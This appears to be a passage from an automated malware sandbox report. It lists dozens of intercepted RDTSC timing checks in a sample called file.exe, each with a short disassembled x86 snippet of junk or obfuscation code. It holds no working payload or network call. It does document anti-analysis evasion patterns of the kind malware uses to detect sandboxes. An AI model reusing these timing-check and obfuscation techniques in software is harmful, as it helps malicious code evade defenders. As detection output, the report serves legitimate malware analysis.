Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BA56 second address: 109BA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD505h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BC3A second address: 109BC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BDC8 second address: 109BE03 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007FDF311AD502h 0x00000010 pop esi 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDF311AD508h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BE03 second address: 109BE14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BE14 second address: 109BE19 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CCD5 second address: 109CCE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FDF304F62F8h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CCE6 second address: 109CCEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DD85 second address: 109DD8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D520 second address: 109D524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D524 second address: 109D532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FDF304F62FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F28E second address: 109F294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FE0F second address: 109FE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FDF304F62F8h 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FDF304F62F8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 movsx esi, bx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007FDF304F62F8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 jnc 00007FDF304F630Dh 0x0000004c add di, 2980h 0x00000051 push 00000000h 0x00000053 jng 00007FDF304F62F6h 0x00000059 push eax 0x0000005a pushad 0x0000005b jnl 00007FDF304F62F8h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A49AB second address: 10A49AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5954 second address: 10A595F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDF304F62F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A595F second address: 10A5975 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF311AD4FCh 0x00000008 jbe 00007FDF311AD4F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5975 second address: 10A59F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF304F62FAh 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FDF304F62F8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FDF304F62F8h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov ebx, dword ptr [ebp+122D29ADh] 0x00000049 push 00000000h 0x0000004b mov dword ptr [ebp+122D1AB2h], esi 0x00000051 mov dword ptr [ebp+122D18D1h], edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b jmp 00007FDF304F6307h 0x00000060 pop edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A59F5 second address: 10A59FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDF311AD4F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A59FF second address: 10A5A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A880E second address: 10A8815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8815 second address: 10A8870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FDF304F62FCh 0x00000011 pop edx 0x00000012 nop 0x00000013 cmc 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FDF304F62F8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 00000000h 0x00000032 jmp 00007FDF304F62FFh 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7A52 second address: 10A7A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8870 second address: 10A887A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A97EB second address: 10A9857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1E93h], ecx 0x00000010 push 00000000h 0x00000012 add ebx, dword ptr [ebp+122D3755h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FDF311AD4F8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D2B0Eh], ecx 0x0000003a mov dword ptr [ebp+122D1894h], edx 0x00000040 xchg eax, esi 0x00000041 jmp 00007FDF311AD501h 0x00000046 push eax 0x00000047 jl 00007FDF311AD515h 0x0000004d push eax 0x0000004e push edx 0x0000004f je 00007FDF311AD4F6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8A6C second address: 10A8A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A99EA second address: 10A9A03 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF311AD4FDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AAB9C second address: 10AABC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB92B second address: 10AB95B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD504h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF311AD504h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AABC3 second address: 10AABC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB95B second address: 10AB965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDF311AD4F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AABC9 second address: 10AABCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC8F0 second address: 10AC902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 pushad 0x0000000a jl 00007FDF311AD4FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD919 second address: 10AD922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE7E5 second address: 10AE7F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FDF311AD4F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADAA5 second address: 10ADAB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0A21 second address: 10B0A2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B39B1 second address: 10B39BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2C61 second address: 10B2C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B39BA second address: 10B39D2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d js 00007FDF304F62F8h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2C66 second address: 10B2C6B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3B78 second address: 10B3B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B06 second address: 10B4B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B0A second address: 10B4B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B10 second address: 10B4B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FDF311AD4FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4B23 second address: 10B4B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D80 second address: 10B7D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D84 second address: 10B7D8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA1D5 second address: 10BA1FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FDF311AD4F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA1FC second address: 10BA200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE6B2 second address: 10BE6B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE6B6 second address: 10BE6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE6C0 second address: 10BE6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE6C4 second address: 10BE6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE7F8 second address: 10BE81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 jmp 00007FDF311AD509h 0x0000000b jp 00007FDF311AD4F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE81F second address: 10BE827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE982 second address: 10BE98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FDF311AD4F8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB0C second address: 10BEB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB10 second address: 10BEB14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB14 second address: 10BEB1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB1A second address: 10BEB6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jns 00007FDF311AD4F6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FDF311AD4FDh 0x0000001a jmp 00007FDF311AD506h 0x0000001f push eax 0x00000020 pop eax 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB6C second address: 10BEB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF304F6307h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4430 second address: 10C4434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4434 second address: 10C4455 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF304F6307h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4455 second address: 10C4476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4476 second address: 10C4483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4483 second address: 10C4488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4488 second address: 10C448F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C452F second address: 10C4534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C591E second address: 10C5947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF304F6304h 0x00000008 jmp 00007FDF304F62FAh 0x0000000d jns 00007FDF304F62F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5947 second address: 10C5950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5950 second address: 10C5954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9B96 second address: 10C9BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDF311AD4F6h 0x0000000a popad 0x0000000b jg 00007FDF311AD506h 0x00000011 jbe 00007FDF311AD4F6h 0x00000017 jmp 00007FDF311AD4FAh 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9BBB second address: 10C9BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9BBF second address: 10C9BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9D61 second address: 10C9D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA112 second address: 10CA116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA3C7 second address: 10CA3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF304F62F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA3D6 second address: 10CA3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA53D second address: 10CA543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA543 second address: 10CA547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA547 second address: 10CA579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF304F6301h 0x0000000d jmp 00007FDF304F6309h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2A55 second address: 10A2A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2B73 second address: 10A2B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2D44 second address: 10A2D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2D48 second address: 10A2D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2D4E second address: 10A2D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A371E second address: 10A375F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jo 00007FDF304F62F8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 and dx, 27F6h 0x00000018 sub dx, 87B8h 0x0000001d lea eax, dword ptr [ebp+12486420h] 0x00000023 mov dword ptr [ebp+122D1A28h], edi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d jmp 00007FDF304F6303h 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A375F second address: 107F711 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF311AD509h 0x00000008 jmp 00007FDF311AD503h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 xor dword ptr [ebp+1244C445h], edi 0x00000018 lea eax, dword ptr [ebp+124863DCh] 0x0000001e add edx, dword ptr [ebp+122D1FAFh] 0x00000024 mov edi, dword ptr [ebp+12449CB4h] 0x0000002a push eax 0x0000002b push esi 0x0000002c jmp 00007FDF311AD4FAh 0x00000031 pop esi 0x00000032 mov dword ptr [esp], eax 0x00000035 mov edi, 3B09247Dh 0x0000003a call dword ptr [ebp+122D1DDBh] 0x00000040 push edx 0x00000041 jmp 00007FDF311AD506h 0x00000046 jmp 00007FDF311AD507h 0x0000004b pop edx 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f jp 00007FDF311AD4F6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F711 second address: 107F72E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FFh 0x00000007 jne 00007FDF304F62F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
